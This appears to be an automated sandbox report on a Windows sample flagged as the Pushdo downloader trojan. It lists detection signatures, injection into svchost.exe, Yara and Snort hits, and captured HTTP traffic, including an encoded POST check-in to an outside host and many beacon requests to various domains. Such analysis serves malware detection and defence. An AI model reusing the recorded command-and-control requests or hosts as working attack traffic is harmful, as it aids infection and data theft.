Edit tour

Windows Analysis Report
iJzpyjAehB.exe

Overview

General Information

Sample Name:	iJzpyjAehB.exe
Original Sample Name:	3e7a4148f1133cb4b8a097fd74590f44.exe
Analysis ID:	823805
MD5:	3e7a4148f1133cb4b8a097fd74590f44
SHA1:	fec43c982b497f4ddbb8c35245c295355676a07a
SHA256:	6618359d4d19997728359453b0598be7562c293ef9d6ac51f2635586096a52bd
Tags:	exe
Infos:

Detection

Pushdo

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Backdoor Pushdo

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Writes to foreign memory regions

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Send many emails (e-Mail Spam)

Contains functionality to inject code into remote processes

Drops PE files to the user root directory

Contains functionality to inject threads in other processes

Tries to resolve many domain names, but no domain seems valid

Contains functionality to compare user and computer (likely to detect sandboxes)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Found evasive API chain (date check)

PE file contains sections with non-standard names

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Connects to many different domains

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Found evasive API chain checking for process token information

Connects to several IPs in different countries

Uses SMTP (mail sending)

PE file contains more sections than normal

Found evasive API chain (may stop execution after accessing registry keys)

Drops PE files to the user directory

Creates or modifies windows services

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to query network adapater information

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

iJzpyjAehB.exe (PID: 5856 cmdline: C:\Users\user\Desktop\iJzpyjAehB.exe MD5: 3E7A4148F1133CB4B8A097FD74590F44)

svchost.exe (PID: 5300 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 5356 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 5392 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 260 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 1100 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

pigalicapi.exe (PID: 6056 cmdline: "C:\Users\user\pigalicapi.exe" MD5: 3E7A4148F1133CB4B8A097FD74590F44)

svchost.exe (PID: 5832 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 6284 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 6568 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 7112 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 9512 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

pigalicapi.exe (PID: 1420 cmdline: "C:\Users\user\pigalicapi.exe" MD5: 3E7A4148F1133CB4B8A097FD74590F44)

svchost.exe (PID: 5204 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 3380 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 5080 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 6268 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 6420 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Pushdo	Pushdo is usually classified as a "downloader" trojan - meaning its true purpose is to download and install additional malicious software. There are dozens of downloader trojan families out there, but Pushdo is actually more sophisticated than most, but that sophistication lies in the Pushdo control server rather than the trojan.	No Attribution	http://malware-traffic-analysis.net/2017/04/03/index2.html http://www.secureworks.com/research/threat-profiles/gold-essex https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf https://www.blueliv.com/research/tracking-the-footproints-of-pushdo-trojan/ https://www.secureworks.com/research/pushdo	https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.608690490.0000000010004000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
00000006.00000002.607161240.0000000010004000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
00000002.00000002.567367147.00000000007E0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
00000000.00000002.607986528.0000000010004000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
00000006.00000002.567130920.0000000002260000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
00000000.00000002.571934007.0000000002380000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.pigalicapi.exe.4000000.9.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
2.2.pigalicapi.exe.10004088.11.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
0.2.iJzpyjAehB.exe.10004088.12.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
6.2.pigalicapi.exe.2260000.3.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
6.2.pigalicapi.exe.2261e88.1.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
6.2.pigalicapi.exe.2260000.3.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
2.2.pigalicapi.exe.7e0000.1.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
6.2.pigalicapi.exe.10004088.9.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
0.2.iJzpyjAehB.exe.2380000.4.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
12.2.svchost.exe.4000000.3.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
0.2.iJzpyjAehB.exe.4000000.9.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
6.2.pigalicapi.exe.2261e88.1.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
2.2.pigalicapi.exe.7e0000.1.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
11.2.svchost.exe.4000000.6.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
2.2.pigalicapi.exe.10004088.11.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
0.2.iJzpyjAehB.exe.10004088.12.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
0.2.iJzpyjAehB.exe.2381e88.3.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
2.2.pigalicapi.exe.7e1e88.3.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
2.2.pigalicapi.exe.7e1e88.3.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
6.2.pigalicapi.exe.4000000.7.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
0.2.iJzpyjAehB.exe.2380000.4.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
6.2.pigalicapi.exe.10004088.9.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
0.2.iJzpyjAehB.exe.2381e88.3.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
10.2.svchost.exe.4000000.5.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
Click to see the 19 entries

Snort Signatures

ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst - Source IP: 173.231.184.124 - Destination IP: 192.168.2.6

Timestamp:	173.231.184.124192.168.2.680502662037771 03/10/23-07:55:52.473955
SID:	2037771
Source Port:	80
Destination Port:	50266
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Backdoor.Win32.Pushdo.s Checkin - Source IP: 192.168.2.6 - Destination IP: 104.21.23.9

Timestamp:	192.168.2.6104.21.23.949714802016867 03/10/23-07:54:15.104296
SID:	2016867
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst - Source IP: 63.251.106.25 - Destination IP: 192.168.2.6

Timestamp:	63.251.106.25192.168.2.680503162037771 03/10/23-07:55:54.158079
SID:	2037771
Source Port:	80
Destination Port:	50316
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST / HTTP/1.1Accept: */*Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.dgmna.comCache-Control: no-cacheData Raw: 2b 71 62 62 4d 6b 66 59 39 2f 72 38 7a 4f 46 4b 64 6a 67 67 32 68 42 32 4c 37 63 39 39 72 2f 48 61 30 41 52 4c 68 69 6d 72 46 72 55 53 4d 69 70 49 51 44 35 46 43 7a 4d 2b 73 62 7a 64 67 65 38 49 57 6c 78 31 59 73 54 75 4c 31 48 39 42 4d 65 41 65 50 73 78 4f 6d 68 55 41 5a 65 6f 37 62 4a 37 55 61 37 56 66 6b 65 66 33 52 75 76 7a 4b 4a 39 77 59 39 39 58 73 6f 61 6e 74 41 4f 44 75 6b 77 67 52 37 42 4f 76 46 4a 68 62 51 46 6f 6f 69 48 41 67 37 75 2f 62 48 6c 45 45 43 6b 46 77 67 6c 68 77 43 33 4c 4d 36 69 6b 2b 49 54 4d 4f 4e 74 4c 73 6c 6f 36 32 6b 39 70 32 66 32 70 70 4a 56 48 64 7a 67 51 4a 6c 77 72 2b 58 31 6f 50 48 71 53 49 4c 44 72 76 33 51 57 57 6e 61 7a 50 49 67 43 35 67 78 42 59 51 7a 30 39 71 54 37 6f 46 54 66 49 56 31 6c 57 6d 56 6e 32 48 68 71 74 5a 59 73 78 55 65 6b 41 35 61 75 6b 37 37 51 75 58 75 49 36 2b 63 71 44 4e 62 74 33 44 73 37 2f 79 53 36 6b 2b 4e 6a 50 4d 53 39 33 51 79 47 47 69 57 79 70 51 53 43 33 39 6b 78 32 37 58 41 45 52 59 6f 42 59 76 2b 54 76 65 33 4f 62 48 76 2b 38 70 6c 56 32 7a 7a 4a 48 47 43 39 4a 34 78 69 50 6c 61 74 6f 53 50 4f 37 31 69 2b 30 45 53 4d 55 57 6c 52 6c 38 31 4e 64 63 4a 6f 38 5a 52 58 4b 63 37 49 37 6d 36 58 62 75 79 56 59 56 64 67 7a 6c 48 66 75 50 6c 69 59 43 50 6e 52 54 6e 45 74 33 70 51 54 56 54 66 34 50 44 37 72 32 2f 33 33 48 4c 35 43 39 34 76 68 68 76 2f 67 6a 6d 76 79 45 33 72 41 50 61 39 39 52 61 51 79 6d 36 4d 64 4f 4c 50 59 43 56 61 6e 74 73 4d 63 34 6c 65 77 4f 50 70 6f 4f 65 68 55 51 41 71 53 32 2f 36 30 50 78 78 38 55 48 4d 56 4d 6c 73 31 48 4e 7a 41 33 62 68 4a 77 39 6f 7a 4d 71 4f 43 6c 35 36 70 75 6a 68 38 76 57 53 67 54 55 34 30 61 68 45 33 41 6a 41 2f 75 6f 2b 78 37 48 30 36 74 76 64 68 62 47 32 49 59 6e 4d 3d Data Ascii: +qbbMkfY9/r8zOFKdjgg2hB2L7c99r/Ha0ARLhimrFrUSMipIQD5FCzM+sbzdge8IWlx1YsTuL1H9BMeAePsxOmhUAZeo7bJ7Ua7Vfkef3RuvzKJ9wY99XsoantAODukwgR7BOvFJhbQFooiHAg7u/bHlEECkFwglhwC3LM6ik+ITMONtLslo62k9p2f2ppJVHdzgQJlwr+X1oPHqSILDrv3QWWnazPIgC5gxBYQz09qT7oFTfIV1lWmVn2HhqtZYsxUekA5auk77QuXuI6+cqDNbt3Ds7/yS6k+NjPMS93QyGGiWypQSC39kx27XAERYoBYv+Tve3ObHv+8plV2zzJHGC9J4xiPlatoSPO71i+0ESMUWlRl81NdcJo8ZRXKc7I7m6XbuyVYVdgzlHfuPliYCPnRTnEt3pQTVTf4PD7r2/33HL5C94vhhv/gjmvyE3rAPa99RaQym6MdOLPYCVantsMc4lewOPpoOehUQAqS2/60Pxx8UHMVMls1HNzA3bhJw9ozMqOCl56pujh8vWSgTU40ahE3AjA/uo+x7H06tvdhbG2IYnM=

Source: unknown

DNS traffic detected: queries for: www.baijaku.com

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

Code function: 0_2_04001840 InternetCrackUrlA,InternetOpenA,InternetConnectA,HttpOpenRequestA,wnsprintfA,HttpAddRequestHeadersA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,HttpQueryInfoA,VirtualAlloc,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_04001840

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: clinicasanluis.com.co
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: orlyhotel.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.muhr-soehne.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: dataform.co.uk
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: sigtoa.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.deContent-Length: 3856
Source: global traffic	HTTP traffic detected: GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: dataform.co.uk
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: sigtoa.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: orlyhotel.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.muhr-soehne.deContent-Length: 4428
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: clinicasanluis.com.co
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: orlyhotel.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: sigtoa.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.muhr-soehne.de
Source: global traffic	HTTP traffic detected: GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: dataform.co.uk
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.muhr-soehne.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: clinicasanluis.com.coCookie: d55e479f054c94814cbc10d217aaa990=85e4e1a68595ff47778d80e98dbe0065
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: sigtoa.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: sigtoa.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: clinicasanluis.com.coCookie: d55e479f054c94814cbc10d217aaa990=bbd2a9ecd1f16e6deb08a6c096c7155a
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: orlyhotel.comCookie: django_language=en
Source: global traffic	HTTP traffic detected: GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: dataform.co.uk
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: dataform.co.uk
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: orlyhotel.comCookie: django_language=en
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.muhr-soehne.de
Source: global traffic	HTTP traffic detected: GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: dataform.co.uk
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
